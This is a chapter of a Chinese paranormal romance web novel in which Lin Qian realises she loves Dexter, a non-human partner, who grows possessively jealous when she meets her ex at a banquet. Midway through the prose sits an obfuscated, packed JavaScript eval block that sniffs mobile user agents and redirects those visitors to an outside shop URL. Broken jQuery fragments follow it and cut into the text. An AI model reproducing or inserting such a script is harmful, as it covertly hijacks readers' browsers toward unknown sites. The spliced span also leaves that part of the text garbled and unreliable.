26. chapter26

作品:《奇形怪状的男友[人外]

    她终于明白自己为什么会不安,会酸楚,会想见他,会因他而雀跃。


    若是伴侣的身份换成别人,床榻之欢不过是关系中的一环,她没有什么时候好犹豫的。可明明已经劝服过自己,与德克斯特在一起只需“今朝有酒今朝醉”,然而她总是介意,总是在最后时刻戛然而止。


    因为她在患得患失,德克斯特让她恍神与悸动,可是这一切的源头与感情无关。


    久久萦绕的谜题解开。


    她终于可悲地意识到,她确确实实,喜欢德克斯特。


    她一脸凝重地迈上阶梯,敲响了宋楚悦的大门。而后想起宋楚悦早上才让她过来后自己进去。


    林千输入密码走了进去,她的心情沉重,宋楚悦的家里同样弥漫着诡异的安静。


    如果是之前,宋楚悦早就叽叽喳喳了,她听见厨房里有响动,顾不得多想大步流星赶了过去。


    结果映入眼帘的是沉默摆盘的宋楚悦,她做了繁复的雕花,面无表情。


    “千千,不用担心。”宋楚悦如同立地成佛一般,“你知道,人在盛怒的时候反倒平静了。”


    下一秒宋楚悦就将细工筷恶狠狠摔在地上,破口大骂:“拍戏前一天跑国外鸟不拉屎的岛上幽会,真是脑袋比脸花,装饰品一个!”


    她绕开残骸,走到冰箱前,丢给林千一罐饮料,自己也开了一罐,她喝了一口,气顺了点,拉着林千去客厅:“走走走,不留这儿。”


    客厅的桌上摆了大袋零食,宋楚悦登时就像进了米缸的鼠大肆祸害:“千千,你懂我啊!”


    林千撕了袋薯片,放到她手里:“消消气。”


    嘎嘣嘎嘣地霍霍完一包薯片后,宋楚悦气也消了。


    “对了,我昨天走得早,你和你男朋友过得不错吧。”宋楚悦眯眼笑,像闻了腥的老狐狸。


    她用的是称述而非疑问。


    确实过得挺好的,但是……林千神情变幻莫测。


    喜欢不可悲,但是喜欢上一个无望的对象,让人心生悲凉。


    宋楚悦瞧她表情不对,缓缓放下了饮料,神情变得郑重起来。


    出现矛盾了?还是那男的欺负人了?


    她思绪千回百转,然后听见林千苦涩地说:“他不喜欢我。”


    “噗——”宋楚悦口中的可乐一滴没剩,她木着脸看向震惊的林千。


    “你,怎么得出这个结论的?”她擦干可乐。


    林千丧气地想到德克斯特无机质的灰瞳,想起他的举止言行都由模仿而来。他是冷漠的,甚至是无法理解人类情感的。至于对她,也不过是条件所需。


    可这些难以和宋楚悦描述,她最后深长地叹了口气:“情况比较复杂。”


    宋楚悦坐直了身子,庄严地仿佛要去宣誓,凝视着她:“他一定、肯定、绝对喜欢你。”


    “通俗点说,他超爱。”


    宋楚悦自信满满地双手环胸。


    林千明显不信:“你从哪儿看出来的?”


    “从他的眼睛。”宋楚悦激动道,两根手指指着自己的眼睛。


    “从他的一举一动。”她的右手“啪”地搭在左手臂上。


    要是那小子都算不上喜欢,那到底什么才是?!


    宋楚悦双手搭在林千的肩膀上:“相信我千千,也相信你。”


    林千魂不守舍地从宋楚悦家出来了。


    德克斯特居然等在庭院外,她停在了原地,怔忪地望着他。


    德克斯特见她站定不动,表情傻傻的,鼻尖因为冷气而泛红,走上前去熟稔地抱住她:“怎么去了这么久,我等不了了,就来找你。”


    他没有感受到林千的回抱,于是奇怪地松开她,见怀里的人直勾勾地盯着自己,潋滟的眸子只有他,忍不住在她脸颊上亲了一口。


    林千忽然回神,缓缓眨了下眼,问:“你今天身体不太舒服吗?”


    不然为什么着急找我,为什么亲我?


    德克斯特顿住,林千知道他又在观察和揣测,他不懂人类与感情,他只是在学习和分析。


    唉。林千心里一叹,复又笑开,刚才的不对劲消失得无影无踪:“不舒服的话跟我说,走吧,我们还要参加晚宴呢。”


    有个业内宴会,她与德克斯特都在受邀名单上,这是个拓展人脉的好机会。为了宴会上多些结交时间,她事先吃了点东西垫肚子。


    吴妈的糕点也做得很棒,她手上举着咬了一半的云片糕正在回消息,德克斯特突然就着她的手,将那一半糕点吃了,不知道是有意无意,舌尖还卷了下她的手指。


    林千的耳朵悄无声息爬上热度。


    事实证明这个决定是对的,宴会上前来搭讪的人很多。钟吟居然也在,也不知道那天看到了什么幻象,全程铁青着脸,在看到她时躲闪地避开了,仿佛她是什么洪水猛兽。


    她现在自己都乱不清,没心思关注钟吟。


    林千看了眼人群中的德克斯特,矜贵得体,进退有度,谁能想到他以人类形态第一次和她相遇时那么无礼。


    德克斯特的模仿和伪装能力实在难以企及。


    林千心中五味杂陈,别过一位合作伙伴后去了洗手间。


    她在镜子前补妆,模模糊糊地听见了汤景的声音。


    不能够吧,他现在不是在瑞典吗?


    好奇心驱使,林千快速补完后出去找声音来源。


    服务生穿梭而过,并没有汤景的身影。


    果然是看错了,林千摇摇头,正要走,身后有人喊她名字,她错愕转头,竟然真是汤景。


    他站在角落里,当时前方有人挡住,难怪没发现。林千走上前,取过托盘中的酒杯和他碰了一下,不可置信道:“我还以为做大梦呢,你怎么回国了?”


    汤景的神情掺杂了几分可疑的腼腆:“那个,我喜欢的女生回国了,我就跟公司申请一起回来。”


    林千愣住了,而后晃了晃杯中酒,兴味盎然,瞧见了什么新鲜事物似的:“难怪啊难怪,是在瑞典认识的吗?”


    “对,”汤景咳了声,神情更不自然了,“她在瑞典做研究,今年刚好回国。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363328|139748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    林千头次见到汤景这样别扭羞涩的神情,他俩在一起的时候汤景可是一直从容淡定的。而且听这话里的意思……


    “还没追到手吧。”


    “没呢,努力中。”


    林千忍俊不禁,汤景此举与公司调令冲突,势必是付出了某些代价的,她道:“祝贺你找到了天命之女,不用发愁催婚随便凑合了。”


    汤景摸了下鼻头,也没放过她:“别说我了,我可是听说了你和杰西卡那位的风流韵事。”


    ·


    德克斯特不过是一个谈话的时间,视线中就没了林千的踪影,他辞别了上前攀谈的人,放大感知,在宴会厅边角里找到了林千。


    还有一个讨厌的人。


    初遇后不久,他发现了与林千的肢体接触比之单纯的吞噬影子更有利于恢复,也更令他愉悦。所以在短暂的昏迷醒来后,他俯身到了与林千度假的汤景身上。


    林千与汤景亲密非常,他借此得以触摸林千,更甚至,篝火晚会那日,醉酒后的她甚至打算亲吻汤景。


    还好,被他及时阻止。他那时不懂林千究竟想做什么,只是本能厌恶,于是在第二天就以真身在寺庙中制造偶遇。


    后来泳池之中,他无意间体验到了这种更有效的行为。也由此对汤景加倍的嫉恨与厌恶。


    而现在,隔着稀稀落落的人群,林千和她曾经的男朋友聊得开心,她卷翘的睫毛蒲扇,耳尖微红。这是在他逗弄她时才会有的反应。


    光是想到她与其余人曾有缠绵过往就足以让德克斯特疯狂,而眼下的场景已经快要让他失控。


    他缠上了林千白皙易断的脚踝。


    她发现了,看了过来,她明白了他的意思,逐渐走近。


    林千从没见过德克斯特这幅模样,他神情平静却莫名可怖,瞳孔再次如同初见那会儿的毫无情绪。她不免担心,抬手覆在德克斯特的额头,他身体难受时总会发热。


    但没有。林千喃喃道:“是醉了吗?”


    话音刚落就被一把扯住扑向他的怀里,德克斯特面无表情,紧紧箍住她的腰,手劲极大,语气却温柔:“姐姐,你们在说什么?”


    林千想起汤景刚刚和她说的那些离谱传闻,如果自己不是当事人她都快信了。她不大好意思跟德克斯特说,含糊了两句:“没什么,聊聊近况。”


    脚踝上的存在还未撤走,林千挣扎了下,想提醒他这是在大庭广众下,虽然角落里灯光晦暗,但万一被人看到不免麻烦。


    德克斯特却仿佛受了刺激一般更加用力地困住她,侧头轻嗅她的气息,呼吸喷洒在耳畔:“你只能属于我。”


    林千停止了挣扎,脑海中灵光一闪。


    她误以为德克斯特与钟吟有亲密关联,因此心中郁郁。


    那有没有一种可能,或许,德克斯特此时,也在吃醋?


    她心怦怦跳,以至于垂落的手都在微微颤抖,询问的话将要出口,德克斯特不紧不慢地道:“我讨厌自己的猎物被人觊觎。”


    她的心蓦地沉下去。